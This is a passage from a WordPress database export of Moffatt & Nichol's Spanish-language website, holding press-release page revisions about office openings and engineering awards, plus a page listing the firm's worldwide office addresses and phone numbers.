América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de prensa-2011','','inherit','open','open','','1399-revision-14','','','2013-11-14 22:15:05','2013-11-14 22:15:05','',1399,'http://moffattnichol.com/spanish/1399-revision-14/',0,'revision','',0),(2802,1,'2013-10-21 16:41:24','2013-10-21 16:41:24','<div class=\"content_faq\">\r\n<div class=\"our_officesimg\"><img src=\"http://www.moffattnichol.com/wp-content/uploads/2013/09/our_offices1.jpg\" alt=\"Nuestras oficinas\" width=\"389\" height=\"217\" /></div>\r\n<div class=\"our_officestxt\">\r\n<h1>nuestras oficinas</h1>\r\n<p class=\"our-office-para\">Con 30 oficinas ubicadas alrededor del mundo, Moffatt &amp; Nichol tiene prestigio internacional como líder en la complicada área donde la tierra entra en contacto con el agua. Si desea información de contacto, seleccione una ubicación.</p>\r\n\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/abu-dhabi.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"1\">ABU DABI</h2>\r\n<strong>dirección</strong>\r\n\r\nRegus Al Bateen Business Centre,\r\n\r\nSuite 132, Bainunah Street 34,\r\n\r\nP.O. Box 113100,\r\n\r\nAbu Dabi, Emiratos Árabes Unidos.\r\n\r\n<strong>teléfono</strong>\r\n\r\n+971 (0)2 406 9696\r\n\r\n<strong>fax</strong>\r\n\r\n+971 (0)2 406 9810\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://www.moffattnichol.com/wp-content/uploads/2013/08/atlanta.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"30\">Atlanta</h2>\r\n<strong>dirección</strong>\r\n\r\n3730 Chamblee Tucker Road, Suite M\r\n\r\nAtlanta, GA 30341\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 770-492-8204\r\n\r\n<strong>fax</strong>\r\n\r\n\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baltimore.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"2\">Baltimore</h2>\r\n<strong>dirección</strong>\r\n\r\n2700 Lighthouse Point East, Suite 501\r\n\r\nBaltimore, MD 21224\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 410-563-7300\r\n\r\n<strong>fax</strong>\r\n\r\n+1 410-563-4330\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baton-Rouge-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"3\">Baton Rouge</h2>\r\n<strong>dirección</strong>\r\n\r\n301 Main Street, Suite 800\r\n\r\nBaton Rouge, LA 70825\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 225-336-2075\r\n\r\n<strong>fax</strong>\r\n\r\n+1 225-336-2076\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/bogota.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"4\">Bogotá</h2>\r\n<strong>dirección</strong>\r\n\r\nAvenida Cra. 9 N.° 113-52, Of.1201\r\n\r\nBogotá D.C., Colombia\r\n\r\n<strong>teléfono</strong>\r\n\r\n+57-1213-1149\r\n\r\n<strong>fax</strong>\r\n\r\n+57 1629 4365\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Hawaii-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"7\">HONOLULÚ</h2>\r\n\r\n<strong>dirección</strong>\r\n\r\n733 Bishop Street, Suite 1740\r\n\r\nHonolulu, HI 96813\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 808-533-7000\r\n\r\n<strong>fax</strong>\r\n\r\n+1 808-533-7002\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/hoston.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"8\">HOUSTON</h2>\r\n<strong>dirección</strong>\r\n\r\n11011 Richmond Avenue, Suite 200\r\n\r\nHouston, TX 77042\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 713-977-7372\r\n\r\n<strong>fax</strong>\r\n\r\n+1 713-977-7379\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/london.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"9\">LONDRES</h2>\r\n<strong>dirección</strong>\r\n\r\nFifth Floor, 35 Great St. Helen\'s\r\n\r\nLondres EC3A 6HB\r\n\r\nReino Unido\r\n\r\n<strong>teléfono</strong>\r\n\r\n+44 (0)20 3206 1062\r\n\r\n<strong>fax</strong>\r\n\r\n+44 (0)20 3206 1061\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/long-beach.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"10\">LONG BEACH</h2>\r\n<strong>dirección</strong>\r\n\r\n3780 Kilroy Airport Way, Suite 600\r\n\r\nLong Beach, CA 90806\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 562-426-9551\r\n\r\n<strong>fax</strong>\r\n\r\n+1 562-424-7489\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://www.moffattnichol.com/wp-content/uploads/2013/08/miami.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"31\">MIAMI</h2>\r\n<strong>dirección</strong>\r\n\r\n3390 Mary Street, Suite 260\r\n\r\nCoconut Grove, FL 33133\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 786-412-6938\r\n\r\n<strong>fax</strong>\r\n\r\n\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://www.moffattnichol.com/wp-content/uploads/2013/08/neworleans.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"32\">NUEVA ORLEANS</h2>\r\n<strong>dirección</strong>\r\n\r\n601 Poydras Street, Suite 1860\r\n\r\nNew Orleans, LA 70130\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 225-336-2075\r\n\r\n<strong>fax</strong>\r\n\r\n\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-york.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"11\">NUEVA YORK</h2>\r\n<strong>dirección</strong>\r\n\r\n104 West 40th Street, 14th Floor\r\n\r\nNueva York, NY 10018\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 212-768-7454\r\n\r\n<strong>fax</strong>\r\n\r\n+1 212-768-7936\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/newfolk.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"12\">NORFOLK</h2>\r\n<strong>dirección</strong>\r\n\r\n800 World Trade Center\r\n\r\nNorfolk, VA 23510\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 757-628-8222\r\n\r\n<strong>fax</strong>\r\n\r\n+1 757-628-8244\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/oakland.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"13\">OAKLAND</h2>\r\n<strong>dirección</strong>\r\n\r\n1300 Clay Street, Suite 550\r\n\r\nOakland, CA 94612\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 510-645-1238\r\n\r\n<strong>fax</strong>\r\n\r\n+1 510-645-1010\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/orlando.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"14\">ORLANDO</h2>\r\n<strong>dirección</strong>\r\n\r\n1025 Greenwood Blvd., Suite 371\r\n\r\nLake Mary, FL 32806\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 407-562-2030\r\n\r\n<strong>fax</strong>\r\n\r\n+1 407-562-2031\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/panama.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"15\">PANAMÁ</h2>\r\n<strong>dirección</strong>\r\n\r\nOcean Business Plaza, Oficina 1204,\r\n\r\nAv. Aquilino de la Guardia y Calle 47\r\n\r\nPanamá, República de Panamá\r\n\r\n<strong>teléfono</strong>\r\n\r\n+507-301-0901\r\n\r\n<strong>fax</strong>\r\n\r\n+507-301-0906\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/religh.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"16\">RALEIGH</h2>\r\n<strong>dirección</strong>\r\n\r\n1616 East Millbrook Road, Suite 160\r\n\r\nRaleigh, NC 27609\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 919-781-4626\r\n\r\n<strong>fax</strong>\r\n\r\n+1 919-781-4869\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/richmond.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"17\">RICHMOND</h2>\r\n<strong>dirección</strong>\r\n\r\n1100 Boulders Parkway, Suite 350\r\n\r\nRichmond, VA 23225\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 804-320-1996\r\n\r\n<strong>fax</strong>\r\n\r\n+1 804-560-0959\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/rochester.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"18\">ROCHESTER</h2>\r\n<strong>dirección</strong>\r\n\r\n250 Mill Street, Suite 307\r\n\r\nRochester, NY 14614\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 585-641-7128\r\n\r\n<strong>fax</strong>\r\n\r\n+1 585-777-4108\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Brazil.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"5\">RÍO DE JANEIRO</h2>\r\n<strong>dirección</strong>\r\n\r\nAv. Afonso Arinos de Melo Franco, no. 222\r\nBloco 1-Sala 1509\r\nBarra da Tijuca – Rio de Janeiro – RJ\r\nCEP 22631-455\r\n\r\n<strong>teléfono</strong>\r\n\r\n+55 21 3202 6100\r\n\r\n<strong>fax</strong>\r\n\r\n+55 21 3202 6149\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sacramento.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"19\">SACRAMENTO</h2>\r\n<strong>dirección</strong>\r\n\r\n5955 Granite Lake Drive, Suite 140\r\n\r\nGranite Bay, CA 95746\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 510-645-1238\r\n\r\n<strong>fax</strong>\r\n\r\n+1 510-645-1010\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/san-diago.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"20\">SAN DIEGO</h2>\r\n<strong>dirección</strong>\r\n\r\nM&amp;N BLAYLOCK\r\n\r\n1660 Hotel Circle North, Suite 500\r\n\r\nSan Diego, CA 92108\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 619-220-6050\r\n\r\n<strong>fax</strong>\r\n\r\n+1 619-220-6055\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#30\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/santiago.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"21\">Santiago</h2>\r\n<strong>dirección</strong>\r\n\r\nAv. Presidente Riesco 5335, Piso 9\r\n\r\nLas Condes, Santiago\r\n\r\nChile\r\n\r\n<strong>teléfono</strong>\r\n\r\n+56 2 27143926\r\n\r\n<strong>fax</strong>\r\n\r\n+56 2 26591204\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sevanha.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"21\">SAVANNAH</h2>\r\n<strong>dirección</strong>\r\n\r\n2 East Bryan Street, Suite 50\r\n\r\nSavannah, GA 31401\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 912-231-0044\r\n\r\n<strong>fax</strong>\r\n\r\n+1 912-231-0046\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/seattle.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"22\">SEATTLE</h2>\r\n<strong>dirección</strong>\r\n\r\n600 University Street, Suite 610\r\n\r\nSeattle, WA 98101\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 206-622-0222\r\n\r\n<strong>fax</strong>\r\n\r\n+1 206-622-4764\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/tampa.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"23\">TAMPA</h2>\r\n<strong>dirección</strong>\r\n\r\n1509 W. Swann Avenue, Suite 225\r\n\r\nTampa, FL 33606\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 813-258-8818\r\n\r\n<strong>fax</strong>\r\n\r\n+1 813-258-8525\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vancouver.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"24\">VANCOUVER</h2>\r\n<strong>dirección</strong>\r\n\r\n777 W. Broadway, Suite 301\r\n\r\nVancouver BC, Canadá V5Z 4J7\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 604-707-9004\r\n\r\n<strong>fax</strong>\r\n\r\n+1 604-707-9005\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vicksburg.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"25\">VICKSBURG</h2>\r\n<strong>dirección</strong>\r\n\r\n1905A Mission 66, Suite 6\r\n\r\nVicksburg, MS 39180\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 601-629-6415\r\n\r\n<strong>fax</strong>\r\n\r\n+1 601-629-6416\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/walnut-creek.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"26\">WALNUT CREEK</h2>\r\n<strong>dirección</strong>\r\n\r\n2185 N. California Blvd, Suite 500\r\n\r\nWalnut Creek, CA 94596-3500\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 925-944-5411\r\n\r\n<strong>fax</strong>\r\n\r\n+1 925-944-4732\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Nuestras oficinas','','inherit','open','open','','14-revision-16','','','2013-10-21 16:41:24','2013-10-21 16:41:24','',14,'http://moffattnichol.com/spanish/14-revision-16/',0,'revision','',0),(2803,1,'2013-12-04 16:35:53','2013-12-04 16:35:53','','kerrysimpson','','inherit','open','open','','kerrysimpson','','','2013-12-04 16:35:53','2013-12-04 16:35:53','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg',0,'attachment','image/jpeg',0),(2804,1,'2013-11-15 16:42:22','2013-11-15 16:42:22','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"16\">Moffatt & Nichol da la bienvenida a Olie Abbamonto como Directora de Finanzas</h3>\r\n<a href=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\"><img title=\"Olie Abbamonto\" src=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\" alt=\"\" width=\"200\" height=\"280\" /></a>\r\nLONG BEACH, CA, noviembre 12, 2013 – Moffatt & Nichol se complace en anunciar que Olie Abbamonto se une a la firma como Directora de Finanzas. La señora Abbamonto posee más de 20 años de experiencia en manejo financiero, planificación estratégica y contabilidad con firmas internacionales, con experiencia en implementación de Six Sigma. \r\n\r\nEn su papel como Directora de Finanzas, la señora  Abbamonto se encargará de supervisar las responsabilidades del día a día de la planificación, implementación, administración y control de todas las actividades financieras de la empresa. Previo a su integro a Moffatt & Nichol, la señora Abbamonto fue Vice Presidenta de Finanzas y Directora de Finanzas en Cardno ERI, una firma consultora ambiental, subsidiaria de Cardno, donde se desempeñó en comités domésticos y globales. Anteriormente con Mazda North American Operations la señora Abbamonto fue totalmente responsable del desarrollo e implementación del programa Six Sigma para las operaciones de la firma en  de América del Norte. \r\n\r\nLa señora Abbamonto es egresada de Ain Shames University en Cairo, Egipto. Es también miembro activa de Financial Executives International, y se ha desempeñado como miembro de la directiva. Este año fue nominada como Jefa de Finanzas del año para el Business Journal del condado de Orange.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos 